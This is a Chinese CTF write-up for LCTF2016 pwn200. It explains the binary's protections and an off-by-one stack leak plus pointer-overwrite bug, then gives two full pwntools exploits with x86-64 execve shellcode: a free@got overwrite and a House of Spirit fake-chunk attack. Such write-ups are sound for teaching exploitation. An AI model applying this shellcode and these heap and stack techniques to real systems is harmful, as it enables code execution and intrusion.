lctf2016:pwn200 堆利用
一、信息收集
RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处.GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。RELRO为“Full RELRO”,对GOT表没有写入权限。
Stack:栈溢出保护,当启用栈保护后,函数开始执行的时候就会向往栈里插入cookie信息,当函数真正返回的时候回验证cookie信息是否合法,若果不合法就会停止程序运行。
NX:全称(NO-execute)不可执行的意思,NX的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常。
PIE:PIE (ASLR) 全称(position-independent exeecutable)。中文为地址无关可执行文件。该技术是一个针对代码段(.text)、数据段(.data)、为初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时变换加载地址,从而不能通过ROPgadget等工具帮助解题。
二、逆向分析
main()函数中调用的sub_400A8E0()主程序
for循环中存在off-by-one漏洞,输入48个字节,则字符串末尾不会 添加 NULL,且数组v2紧邻函数调用栈RBP,可导致RBP信息泄露。
函数sub_400A29()
函数调用read()读入0x40字节,buf本身只有0x37长度,0x38是dest指针变量。这里存在缓冲区溢出漏洞,可导致指针dest被覆盖。 0x40-0x8 = 0x38
函数sub_4009c4()
函数 sub_4008B7() Check in
函数sub_40096D check out
Check in 判断ptr,为空则由用户输入分配空间的大小(long),调用malloc()分配空间,返回保值存在ptr。调用read()读入long字节的字符串到ptr指向的内存。
Check out 判断ptr,不为空,则将其作为参数传递给free()释放并设置ptr为0.
三、利用
本题有两种解法,一种是 覆盖dest指针为free@got 地址,修改free@got地址为shellcode。
另一种是house_of_spirit 制作fake_chunk.
第一种方法 溢出
EXP 使用覆盖dest指针方式。
Python from pwn import * import pdb # -*- coding: utf-8 -*-
debug = 1 if (debug): p = process("./pwn200") else: p = remote('node4.buuoj.cn', 25403)
elf = ELF("./pwn200")
# context(os='linux', arch='amd64', log_level='debug') # 设置环境
def leak(payload): p.sendafter('who are u?',payload) buffer = p.recvuntil('welcome to xdctf~\n') return buffer.split()[0][-7:-1]
shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' # print(len(shellcode)) payload=shellcode+b'A'*21
# --- leak stack RBP ---- buffer = leak(payload) rbp_addr = u64(buffer+b'\x00'+b'\x00') print(hex(rbp_addr))
p.recvuntil('give me your id ~~?') p.sendline('0')
# 0x50 offset
shellcode_addr = p64(rbp_addr-0x50)
payload = shellcode_addr + b'A'*(0x38 - len(shellcode_addr)) + p64(elf.got["free"]) p.recvuntil('give me money~') p.sendline(payload)
# pdb.set_trace()
p.recvuntil('choice :') p.sendline('2')
p.interactive()
|
详解:
首先输入48个字节shellocde ,让其泄露RBP地址,gdb调试查看RBP地址距离输入的字符地址相距多少偏移(0x50)。
计算出shellcode地址,进入sub_400A29() 函数打印输出“give me money~”时,组合给出 【payload=shellcode_addr+若干字符串+free@got】溢出覆盖dest指针为free@got地址,
当strcpy拷贝时,buf前部分内容为shellcode地址,写入以覆盖的dest指针中。free@got表被修改为shellcode。buf的长度为0x38,读入0x40的内容会越界写到dest指针处。
等到 进入如下菜单,选择2 check out:
Plain Text =======EASY HOTEL======== 1. check in 2. check out 3. goodbye your choice :
|
将dest指针当参数传入free函数中,执行shellcode获取shell。
第二种方法 House of Spirit
Python from pwn import * import pdb # -*- coding: utf-8 -*-
context.log_level = 'debug'
debug = 1 if (debug): p = process("./pwn200") else: p = remote('node4.buuoj.cn', 25403)
elf = ELF("./pwn200")
def leak(payload): p.sendafter('who are u?',payload) buffer = p.recvuntil('welcome to xdctf~\n') return buffer.split()[0][-7:-1]
# --- leak ---- shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' # print(len(shellcode)) payload=shellcode+b'A'*21
buffer = leak(payload) rbp_addr = u64(buffer+b'\x00'+b'\x00') # print(hex(rbp_addr)) log.info("rbp addr: "+hex(rbp_addr)) shellcode_addr = rbp_addr - 0x48 - 0x8 #0x48 - 0x8 是shellcode 在内存中的地址 # fakechunk_addr = rbp_addr - 0x20 - 0x30 - 0x40 # fakechunk.size = 0x40 fakechunk_addr = rbp_addr - 0x90 #
log.info("shellcode addr: " + hex(shellcode_addr)) log.info("fakechunk addr: " + hex(fakechunk_addr))
p.sendlineafter('give me your id ~~?','32') # id 保存在rbp+38的位置,表示下一个chunk的 size 为了绕过free的检查 fake_chunk = p64(0)*5 # fake_chunk += p64(0x41) # fake_chunk += p64(fakechunk_addr) fake_chunk += p64(0) # print(len(fake_chunk)) fake_chunk += p64(fakechunk_addr) # 这里是fake 的 menu处的地址 # fake_chunk += p64(0) log.info("len: "+hex(len(fake_chunk))) # payload=b'b'*0x21
p.sendafter('give me money~',fake_chunk) # 此处dest被覆盖为fakechunk_addr
#这里要把fake_chunk 地址转移到 ptr变量上。
p.sendlineafter("choice : ", '2') #这里free p.sendlineafter("choice : ", '1') #这里是malloc p.sendlineafter("how long?", "48") #48 是rbp 到money的地址距离 48是0x30大小,刚刚构造的chunk是头部0x11+data0x30=chunk大小0x41,所以要申请48大小的堆
payload = b'B'*0x18 payload += p64(shellcode_addr) #这个地址需要覆盖rip的返回地址 这里需要知道 ptr 距离返回值差距多少 # payload += b'\x00'*16 print(hex(len(payload))) # pdb.set_trace() p.sendafter("48\n",payload) # give me more money : p.sendlineafter("choice","3")
p.interactive()
|
House of Spirit(下面称为hos)算是一个组合型漏洞的利用,是变量覆盖和堆管理机制的组合利用,关键在于能够覆盖一个堆指针变量,使其指向可控的区域,只要构造好数据,释放后系统会错误的将该区域作为堆块放到相应的fast bin里面,最后再分配出来的时候,就有可能改写我们目标区域。
首先需要泄漏出RBP地址,v2数组大小为48,这里循环计数存在off-by-one漏洞,第48位后不会有0结束符。
因v2是局部变量所以在函数运行时是存放在栈上的,v2后面会紧跟着rbp、rsi、rsp。
输入48长度的字符串,printf会打印出rbp的地址。
Bash payload=shellcode+b'A'*21 p.sendafter('who are u?',payload) buffer = p.recvuntil('welcome to xdctf~\n') buffer = buffer.split()[0][-7:-1] rbp_addr = u64(buffer+b'\x00'+b'\x00') log.info("rbp addr: "+hex(rbp_addr))
|
v2内存中
有了rbp地址就可以计算出v2数组在栈上的地址,为后面栈上的布局提供有效计算。
在sub_400A29中存在buf数组局部变量。我们要以这个buf来进行栈布局。
buf的大小为0x37,read读入0x40大小内容会覆盖掉dest指针。
buff内存中布局如下。
这里需要将dest指针覆盖掉。将dest指针指向可控内存。
在buf中需要构造一个伪堆块1.
示意图:
蓝色区域和绿色区域可控,中间红色区域不可控,现在我们要构造一个伪堆块成如下示意图:
Id 的变量可控,来自“give me your id ~~?”输入。
这里就要计算0x37处的块大小填写多少可以使伪块紧挨着 id。gdb调试可得0x41大小。
在有一个问题就是dest是堆指针,这个指针可控,所以需要将构造的伪堆块地址传入,伪堆块的地址
使用gdb调试得到栈偏移到0x90处可指向伪堆块 计算公式:fakechunk_addr = rbp_addr - 0x90.
Python fakechunk_addr = rbp_addr - 0x90 fake_chunk = p64(0)*5 # fake_chunk += p64(0x41) # fake_chunk += p64(fakechunk_addr) fake_chunk += p64(0) # print(len(fake_chunk)) fake_chunk += p64(fakechunk_addr) # 这里是fake 的 men处的地址 p.sendafter('give me money~',fake_chunk)
|
在id处输入chunk_size ,绕过free释放堆块时候系统的检查.
有了堆指针,再利用堆管理特性 free掉 dest指针在malloc回来,即可修改示意图中不可控区域的栈空间。
将shellcode地址覆盖sub_400A29()函数返回地址 rip即可控制程序执行流程。
gdb调试计算fakechunk地址距离rip偏移数值0x18
Python payload = b'B'*0x18 payload += p64(shellcode_addr) p.sendafter("48\n",payload) p.sendlineafter("choice","3")
|
ge12
关注微信公众号或者可以直接加作者微信: